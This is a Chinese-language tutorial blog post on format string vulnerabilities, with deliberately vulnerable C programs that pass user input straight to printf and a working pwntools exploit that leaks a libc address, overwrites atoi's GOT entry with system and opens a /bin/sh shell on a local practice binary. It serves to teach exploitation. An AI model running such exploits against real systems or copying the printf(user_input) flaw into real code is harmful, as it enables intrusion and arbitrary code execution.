格式化字符串漏洞分析入门

格式化字符串

  • 源码
#include <stdio.h>

int main(int argc, char **argv){
	int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
	char *message = "%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x\n";
	printf(message);
	printf("Ending");
}
  • 编译命令
  • **gcc -m32 -fno-stack-protector -z execstack -no-pie -o level1 fmt.c **
  • 用gcc编译成32位的后,在GDB中执行,在程序调用printf前打断点,查看内存的数据:

  • 可以明显看到打出来的栈数据中有我们定义的数组:0x0000aaaa = 43690

查看任意位置的内存数据

  • 1、需要一个格式化参数,去获取对应地址的数据。

    • 可以利用”%s”格式化参数来获取对应地址的数据。现在第一个问题解决了,剩下的就是怎么将一个内存地址,放在正确的位置,让格式化函数读取。
  • 2、需要一个方法,提供内存地址给格式化函数。

  • 源码

#include <stdio.h>

int main(int argc, char **argv){
   int a[8]={43690,43690,43690,43690,43690,43690,43690,43690};
   char message[150];
   print("Input:\n");
   scanf("%s", message);
   printf("Result:\n");
   printf(message);
   printf("\n");
}
  • 编译后输入AAAAAAAA%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x

  • 可以看到读到了输入的AAAAA,那我们尝试把第6个%08x改为%s:00000000%08x,%08x,%08x,%08x,%08x,%s,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x运行后读到了非法地址返回内存非法访问错误。

  • 源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
   char buf[40];
   char v1;
   while (1){
   puts("WANT PLAY[Y/N]");
   if(getchar()!=89) 
   	break;
   v1 = getchar();
   puts("GET YOUR NAME:");
   memset(buf,0,40);
   read(0,buf,0x40u);
   puts("WELCOME ");
   printf(buf);
   puts("GET YOUR AGE:");
   read(0,buf,0x40u);
   if(atoi(&buf)>60) 
   	puts("OLD MEN!\n");
   }
   return 0;
}
  • gcc -m32 pwn_formats.c -o pwnformats -no-pie
  • 用格式化字符串漏洞,将某个函数的GOT地址改为system的地址,再控制参数,执行system(‘/bin/sh’)。这里atoi函数的参数就为我们第二次输入的数据,这样覆盖atoi函数为system,再输入’/bin/sh’,即可直接getshell。
  • 1、得到puts函数所在库地址
  • 2、puts和system处于同一系统libc中,根据puts函数和system函数在这一个版本的库中的地址偏移差,我们可以计算出system函数的地址。
  • 3、覆盖GOT表中atoi函数的地址为system函数的地址
  • 4、在“GET YOUR AGE”时,输入”/bin/sh”,触发system(“/bin/sh”),得到shell。

exploit


from pwn import *
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./pwnformats')
# 1st
p = process('./pwnformats') 
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:')
payload = p32(elf.got['puts'])+'%5$s'
p.sendline(payload)
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# 2nd
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
# 3rd
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:')
p.sendline(fmtstr_payload(5, {atoi_got_addr: system_addr}))
# 4th
p.recvuntil('GET YOUR AGE:')
p.sendline('/bin/sh\x00')
p.interactive()

posted @ 2021-05-31 23:34  一生热爱  阅读(296)  评论(0)    收藏  举报